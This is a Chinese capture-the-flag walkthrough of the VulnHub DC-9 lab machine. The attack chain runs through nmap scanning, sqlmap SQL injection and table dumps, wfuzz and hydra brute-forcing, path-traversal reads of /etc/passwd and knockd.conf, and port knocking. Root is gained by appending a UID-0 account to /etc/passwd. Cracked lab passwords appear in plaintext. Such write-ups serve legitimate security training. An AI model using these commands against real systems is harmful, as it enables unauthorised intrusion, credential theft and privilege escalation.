DC :9
靶机下载地址:
https://download.vulnhub.com/dc/DC-9.zip
在虚拟机安装好后网络设置为NAT模式
扫描局域网内的C段主机(主机发现)
先扫描靶机IP:
命令:
nmap -sP 192.168.159.1/24
或者:
netdiscover -p 来扫描靶机ip
发现靶机ip
192.168.159.128
扫描端口获得运行的服务
扫描靶机端口
命令:
nmap -sP 192.168.159.1/24
发现开启了80端口,代表我们可以用ip进入网址
进行目录扫描
dirb http://192.168.159.128/
或者
nikto -host 192.168.159.128
URL_BASE:
http://192.168.159.137/
WORDLIST_FILES:
/usr/share/dirb/wordlists/common.txt
SQL注入
访问
192.168.159.129
在搜索栏输入万能密码
' or 1=1 --+
发现可以成功注入
发现可以SQL注入
寻找SQL注入的方式和表单
发现表单是:search
注入的方式是 POST
sqlmap
使用sqlmap一把梭
命令:
sqlmap -u "http://192.168.159.129/results.php" --data="search=1"
确实存在sql注入
现在开始拿库名,表名,列名,数据库
命令:
sqlmap -u "URL" --data="search=1" --current-db
sqlmap -u "http://192.168.159.129/results.php" --data="search=1" --current-db
当前使用的数据库就叫做 Staff
找一下有没有别的库
命令:
sqlmap -u "URL" --data "表单名和值 --dbs
sqlmap -u "http://192.168.159.129/results.php" --data "search=1" --dbs
发现他有三个库
information_schema (系统库)
Staff
users
先去爆破用户表
命令:
sqlmap -u "URL" --data "表名和值" -D 数据库名称 --tables
sqlmap -u "http://192.168.159.129/results.php" --data "search=1" -D users --tables
发现有一个叫做UserDetails的表
拿到它的数据
命令:
sqlmap -u "URL" --data "表单名和值" -D 数据库名 -T 数据表名--dump
sqlmap -u "http://192.168.159.129/results.php" --data "search=1" -D users -T UserDetails --dump
把用户和密码做成字典
tip:
用Notepad++ 按住alt 复制下来
再用ctrl +h 把空格替换掉
用做好的字典尝试爆破manager
先看是网页怎么传参的 输入 1
发现也是POST
wfuzz爆破
wfuzz
使用wfuzz来爆参数
命令:
wfuzz -z file,用户名字典 -z file,密码字典"http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z "
因为有两个表单前面用FUZZ后面要用FU2Z
wfuzz -z file,user-dict -z file,pass-dict "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z "
发现大部分返回是一样的,现在要过滤掉87个单词的
命令:
wfuzz -z file,,用户名字典 -z file,密码字典 --hw 筛选单词的数量 "http://192.168.159.129/manage.php?username=FUZZ&password=FUZ2Z "
wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.159.129/manage.php?username=FUZZ&password=FUZ2Z "
并没有什么有价值的
所以后台管理系统的用户名和密码并不在这个库的这个表里面
现在开始爆破Staff库下面的表
命令:
sqlmap -u "URL" --data "表单名和值" -D 数据库名称 -T 数据表的名称 --dump
sqlmap -u "http://192.168.159.129/results.php" --data "search=1" -D Staff -T Users --dump
发现了一个哈希加密的,sqlmap问我们是不是要用它自带的工具去撞一下这个Hash
直接无脑Y(bushi)
得到用户名密码
用户名:
admin
密码:
transorbital1
用这个用户名和密码登入我们的网址
登入成功
发现一个提示
File does not exist
肯定是通过查了一个参数去访问本地文件,本地文件找不到才会有这个
猜想它存在任意文件访问漏洞(LFI local file inclusion)
其实这道题是用ssh连接的,此处只是提供思路,需要看结题过程的可以直接跳到ssh爆破处
任意文件访问漏洞(LFI local file inclusion)
LFI local file inclusion知识点:
1 File does not exist
2如果是这个漏洞会是这个请求参数
http://192.168.159.129/manage.php?parrameter=filename
现在不知道他的参数是多少
先保存一下登入进去界面的COOKIE按F12
PHPSESSID=372gmcu7rgrq8jmv4dktjqg28t
再用FUZZ寻找参数
命令:
wfuzz -b 'PHPSESSID=cookie的值' -w /usr/share/wfuzz/wordlist/general/common.txt(payload) URL
wfuzz -b 'PHPSESSID=372gmcu7rgrq8jmv4dktjqg28t' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.129/manage.php?FUZZ=index.php
发现有很多参数,过滤掉100字符的
命令:
wfuzz --hw 100(过滤字符数量) -b 'PHPSESSID=cookie值' -w /usr/share/wfuzz/wordlist/general/common.txt (payload) URL
wfuzz --hw 100 -b 'PHPSESSID=372gmcu7rgrq8jmv4dktjqg28t' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.129/manage.php?FUZZ=index.php
发现还是没有
可能的两个原因
1 字典不够强大
2 路径格式不对
3 有可能参数名的正确与否没有区别,文件名的正确与否才有区别
所以我们要用一个正确的文件路径,也可以使用多个../跳到主目录的方式
访问:
URL?file=../../../../../../../../../../../etc/passwd
http://192.168.159.129/manage.php?file=../../../../../../../../../../../etc/passwd
成功得到passwd这个敏感文件,验证这个漏洞是存在,并且参数是file
发现这个操作系统的用户名和密码是users数据库的 UserDetails用户和密码
用做好的字典爆破ssh的端口(之前发现的)
ssh爆破
我们要使用一款名为hydra的工具
hydra
命令:
hydra -L 用户名字典-P 密码字典 攻击的ip地址 ssh
hydra -L user-dict -P pass-dict 192.168.159.129 ssh
直接爆破是访问不了的可能原因如下
1.可能字典里面的全部用户都不可以连接ssh(根据我们之前推测排除)
2.可能是配置了knockd的敲门服务列表的端口都要敲一次门 22端口才会打开
所以我们现在要寻找敲门端口的文件,要敲门的端口写在这个文件:/etc/knockd.conf
利用文件包含漏洞访问
访问:
URL?file=../../../../../../../../../../../etc/knockd.conf
192.168.159.129?file=../../../../../../../../../../../etc/knockd.conf
得到
我们要敲门的端口:
7469,8475,9842
使用nmap来访问
查看22端口状态
发现他是可以连接的,但是有过滤
22/tcp filtered ssh 该端口有过滤的意思
现在开始敲门
knockd
命令:
nmap -p 端口 ip
nmap -p 7469 192.168.159.129
nmap -p 8475 192.168.159.129
nmap -p 9842 192.168.159.129
或者
for x in 7469 8475 9842; do nc 192.168.159.129 $x;done
敲完后查看端口情况
命令:
nmap -sV -A ip -p 22
nmap -sV -A 192.168.159.129 -p 22
再去打开22端口
nmap -p 22 192.168.159.129
成功打开22端口
第二次爆破ssh
hydra -L user-dict -P pass-dict 192.168.159.129 ssh
得到三个用户名和密码
chandlerb: UrAG0D!
joeyt: Passw0rd
janitor: Ilovepeepee
用这三个用户名和密码登入系统
普通账户提权
SSH 22开放 登入其他账户
命令:
ssh 用户名@ip地址
ssh janitor@192.168.159.129
发现了一个隐藏的文件夹
cd .secrets-for-putin
ls -a
进入之后又发现了一堆密码
查看密码命令:
cat passwords-found-on-post-it-notes.txt
得到的新的密码再加进去之前pass-dict文件里面,改名为pass-dict1
我们再连接一下janitor和chandlerb的ssh,发现它们也都没有sodu -l 权限
利用新得到的密码再去爆破一次ssh
命令:
hydra -L user-dict -P pass-dict1 ssh://192.168.159.129
又得到两个用户名和密码
fredf password: B4-Tru3-001
joeyt password: Passw0rd
连接fredf ssh
命令:
ssh fredf@192.168.159.129
查看有无sudo -l权限
sudo -l
发现fredf可以以root的身份执行
(root) NOPASSWD: /opt/devstuff/dist/test/test
看一下他是什么文件:
命令:
file /opt/devstuff/dist/test/test
发现他是可执行文件
进去它的文件夹执行他
命令:
cd /opt/devstuff/dist/test/
./test
发现它是一个python文件
文件的意思是,读取第一个文件追加到第二个文件上
就有了可以往任意一个文件里面写入任意内容
利用find指令找到这个python文件
命令:
find / -name "test.py" 2>/dev/null
find / -name "test.py" 2>/dev/null(这段话的意思是寻找叫做test.py的文件并省略报错)
找到了两个文件,打开后发现是第一个文件
/opt/devstuff/test.py
查看他
代码审计过后发现这个是用来写入文件的一个python程序,说明我们可以以root权限写入任意一个文件
所以我们接下来要以root权限在/etc/passwd中写入一个具有root权限的用户即:
写入一个用户的 UID=GID=0 —>拥有root权限
因为在/etc/passwd中的密码都是加密过的,我们也要设计一个加密的密码,不设置密码也是可以的
设置密码
命令:
openssl passwd -1(md5加密算法) -salt(用一个随机数去加盐) admin(用户名) 123456(明文密码)
openssl passwd -1 -salt admin 123456
生成密码:
1admin$LClYcRe.ee8dQwgrFc5nz.
先把这些写入临时文件,再用test.py读取文件,追加到passwd里面
命令:
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:/root:/bin/bash' >>/tmp/passwd
查看/tmp/passwd文件判断我们是否成功加入用户
命令:
cat /tmp/passwd
发现它存在
用test.py读取文件,追加到/etc/passwd里面
命令:
sudo ./test(执行的程序) /tmp/passwd(读取的文件) /etc/passwd(追加的文件)
sudo ./test /tmp/passwd /etc/passwd
切换到admin
命令:
su admin
进入root的专属目录查看flag
cd /root
ls -a
拿到flag